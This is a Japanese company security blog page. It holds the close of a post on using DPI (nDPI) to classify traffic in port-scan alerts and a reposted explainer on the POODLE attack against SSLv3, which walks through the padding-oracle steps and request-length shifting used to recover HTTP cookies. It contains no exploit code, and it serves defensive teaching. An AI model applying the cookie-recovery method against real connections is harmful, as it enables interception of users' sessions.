「743bc6fad39e3a35460d31af5322c131dd196ac2」について調べると、Ubuntu 14.04 の ISO であることが分かりました。
悪用ではないものの、今後は使わないようにお願いしました。

security-dpi-image8.png

続いて、別の日のポートスキャンのアラートについて調査してみます。

security-dpi-image9.png

こちらは Skype と表示されており、問題ないように見えます。 実際、Skype のドメイン名にアクセスしていたりするため、Skype で間違いなさそうです(nDPI で SSL.Skype とか表示されたりします)。

security-dpi-image10.png

SSH の場合も、ポートを変えても正しく認識されていることが分かります。
外部への SSH などでポートが変わっていても検知することが出来ます。

もちろん誤検知もあるため、プロトコル名から全てを判断するのは危険ですが、判断材料があることで調査しやすくなります。
実際、弊社では上記の仕組みをテスト運用してから検知できるインシデントの種類が増え、調査の時間も削減されました。

まとめ

今回は DPI によるアプリケーション判定の活用事例について説明しました。
本記事ではセキュリティの観点から有用性について書きましたが、社内を流れるトラフィックの種類が知りたい方(情シス関係者など)にも役立てていただけると思います。
精度に関してはたまに誤検知することはあるものの(Tor とかは誤検知されるので Issue あがってます)、判断材料の一つとしては有用であることが分かりました。
現在は ndff でテスト運用をしていますが、今後も DPI を利用し続けることになれば nProbe 等の導入なども検討しようと考えています。
もし他にも気軽に DPI を試してみたい方がいらっしゃいましたら nDPI を是非試してみてください!

最後までお読みいただきありがとうございました。

続きを読む
ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

SSL v3.0の脆弱性「POODLE」ってかわいい名前だけど何??

このブログは「mobage developers blog」2014.10.23の記事を転載させていただきました。

poodle-image1.png

こんにちは。セキュリティ技術グループのはるぷです。

10月上旬にHTTPSなどで利用されているSSLv3の脆弱性が報告され、中間者攻撃(通信経路上で通信に介入してパケットの取得、改ざん等を行う攻撃。Man In The Middle Attackとも呼ばれる)によって、暗号化されている通信の内容を復号することの可能性が示唆されました。

この攻撃方法はPOODLE (Padding Oracle On Downgraded Legacy Encryption)と呼ばれ、暗号方式のダウングレード攻撃を利用して、Padding方式に問題があるSSLv3を暗号通信に利用させ、パケットを通信経路で改ざん、観測することで平文の内容を特定することができるといわれています。

今回は、この攻撃方法が具体的にどういったものであるのかを紹介したいと思います。

中間者攻撃(Man In The Middle Attack)

POODLEの技術詳細の前に中間者攻撃について解説します。中間者攻撃とは、下図のように、他人のネットワーク上での通信に対して、通信経路上に介入して通信の書き換えなどを行う攻撃になります。

poodle-image2.png

図. 中間者攻撃の概要

これは、POODLEに限らず一般的に利用される攻撃手法ですが、例えばhttpsの場合、一般的な中間者攻撃の方法では、サーバ側で証明書が正しく管理されていればクライアント側では下記のようなエラーとなり、中間者攻撃を検知・ブロックすることが可能になります。

poodle-image3.png

図. 中間者攻撃が発生した際のブラウザでのブロック例

このケースでは、通信経路の中間に入っている攻撃者が、クライアントに対してWebサーバの振りをして暗号通信を行いWebサーバ宛の通信を取得しようとしたため、クライアント側のブラウザに検知される仕組みになっています。

POODLEの場合も、通信経路の中間に入って攻撃をするのですが、暗号を直接的に復号することは行わず、クライアントから送信された暗号文自体を細工してサーバに送りサーバ側での処理結果を確認するという手法を用います。※「Downgraded Legacy Encryption」については暗号通信前の平文の通信を改ざんして実現することになりますが、簡単のためにここでは割愛します。

Padding Oracle

POODLEでは、SSLv3の暗号で利用されるPadding(後述)の特徴を利用し、Paddingではない別の箇所の暗号文の解読を実施します。SSLv3で利用される暗号はCBC方式のブロック暗号を選択することができ、その場合は、一定のサイズのブロックごとに暗号化・復号を行います。図にすると下図のような仕組みになっています。

poodle-image4.png

図. CBC方式のブロック暗号の復号処理

ブロックごとに処理を行うため、平文の最後がブロック長に比べて中途半端な長さになることが当然発生してしまうのですが、このはみ出た部分をダミーの文字を入れてブロックサイズの倍数に揃う様に調整します。この調整のために平文の最後に付与される文字をPaddingといいます。SSLv3では、平文の一番最後のbyteにPaddingの長さが入るようになっており、復号した際に後ろからPaddingの長さ分の文字も無視することでPaddingを削除した元の平文を取得することが可能です。

この時に、一番最後のバイトはPadding長として規定されているため、平文が丁度ブロックサイズの倍数であっても、Padding長情報のbyte分がはみ出てしまうため、その場合は、最後のブロックはダミーの文字とPadding長のみの実質データが入っていないようなブロックになります。

poodle-image5.png

図. 最後のブロックがPaddingのみになった際の復号例

POODLEでは、このPaddingのみで構成されているブロックを悪用して他のブロックの平文の推測を行います。SSLv3のPadding方式では、ダミーの文字部分は無視され、Padding長のみ正しいことが要求されます。従って、Paddingのみで構成されているブロックの暗号文が改ざんされても、復号を行った結果の最後のbyteが正しいPadding長のbyteと一致した場合、正しい暗号文として扱われます。

つまり、おおよそ1/256の確率(1byteが偶然一致する確率)で、暗号文が復号された結果の最後のbyteがPadding長と同じになるということが判別可能になります。この判別結果を利用することで、後述の手法により任意の暗号ブロックの最後のbyteの復号結果を検証することが可能になります。

まず、クライアントからの同じ通信内の他の暗号ブロックをPaddingのブロックにブロックごと上書きしてサーバに送信することで、該当のブロックの復号結果を観測します。

poodle-image6.png

図. クライアントの暗号文を暗号文のまま変更を実施

通常であれば、サーバ側は正しくない暗号文が送られてくる状態となるため、復号に失敗する(コネクションが切断されるなど)ことが考えられます。復号結果のPadding長に相当する最後のbyte部分が偶然正しいものになった場合、サーバ側には復号結果が正しく見えるため復号に成功することとなります。

CBC方式のブロック暗号では、クライアントが送信するデータがまったく同じでも、毎回暗号文が変化する仕組みになっているため、復号したい暗号文のブロックもPaddingのブロックも毎回異なるbyte列になります。そこで、攻撃者はクライアントに同じデータを送信させて、同様の手法を繰り返し行うことで偶然復号結果のPadding長に相当する最後のbyte部分が一致するケースが出てきます。

復号に成功したことが分かった後は、下図のような手順で平文が入手可能になります。
1. (A)暗号文の最終byteと(B)既知のパディング長をXORする
2. 復号処理直後の最終byte(C)が求まるので、コピー元の暗号文の復号結果の(D)とみなす
3. (D)と(E)暗号文の最終byteをXORする
4. (F)の1byteの平文を取得

poodle-image7.png

図. Padding-Oracle Attackの復号手順

このように、平文を1byte判別できた後は、求めたい平文の該当byteをブロックの最終byteになるように位置をコントロールします。

ここで、どのように求めたい平文の位置をコントロールするのか(Paddingのみのブロックを作ることにおいても同様ですが)という問題が出てきますが、HTTPのプロトコルであればこの条件を満たすことが可能です。HTTPのリクエストは大雑把には下記のようになっています(簡単のために一部ヘッダ等を省略しています)。

POST /index.html HTTP/1.1
Host: dena.com
Cookie: xxxx=xxxx
 
a=b&c=d

攻撃者が知りたい情報をCookieとすると、クライアントに強制的にリクエストを発行させることができれば、path (/index.htmlの部分)とbody (a=b&c=dの部分)の長さを増減することでCookieの出現位置をコントロールすることができます。例えば、1文字後ろにしたい場合、pathを「/index.htmlx」、bodyを「a=b&c=」のようにそれぞれ1byteずつ変更します。1byte解読する度に位置をずらし繰り返しクライアントにリクエストを送信させることで最終的にCookie全体を取得することが可能になります。逆に、この条件を満たしていない情報(例えばユーザが入力したID/Passwordなど)はPOODLEを利用して取得することは困難となります。

実際に例えば32文字のCookieの値を取得することを考えると、おおよそ8,000回程度のリクエストをクライアントから繰り返し送らせる必要があります。結構回数多いですね。Webでの攻撃として8,000回程度の試行を他のユーザに実行させるのは比較的大掛かりですが、暗号を解読するのにこの程度の試行回数で収まるのは画期的であるといえます。


では、このようにPaddingを推測できてしまわないようにするにはどのようになっていればいいのでしょうか?今回のように脆弱であると言われていないPadding方式では、Padding長以外のPadding部分も正しいものか検証するようになっています。例えば、Padding長以外は「0」で埋めるであったり、Padding部分を全てPadding長で埋めるであったり、あらかじめ決めた値か意味のあるものになっています。この場合に同様の攻撃を行おうとした場合、全てのbyteが偶然一致する必要があり、ブロックサイズが128bit(16byte)だと256^-16の確率となるため、現実的に解読ができる試行回数ではなくなります。

このように、「暗号が解読可能」という場合でも全ての条件で解読ができるわけではなく、特定の条件が必要になることがあります。実際にこの攻撃ができてしまわないかを上記の攻撃シナリオで再現することは非常に困難を極めると考えられます。その為、重要な情報を扱うサーバでは、SSLv3を利用しない設定にするなどの対策を行うことが望ましいと考えられます。

また、暗号ロジックの部分のみを検証してみたいという場合は、ISO10126が似た仕様となっているため、C#などで再現することで下記のように部分的に復号が成功することを確認できます。

poodle-image8.png

図. ISO10126のPadding方式を利用した暗号の解読実施例


ちなみに、POODLEの絵はPower Pointによって制作されています。

poodle-image9.png
続きを読む
ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る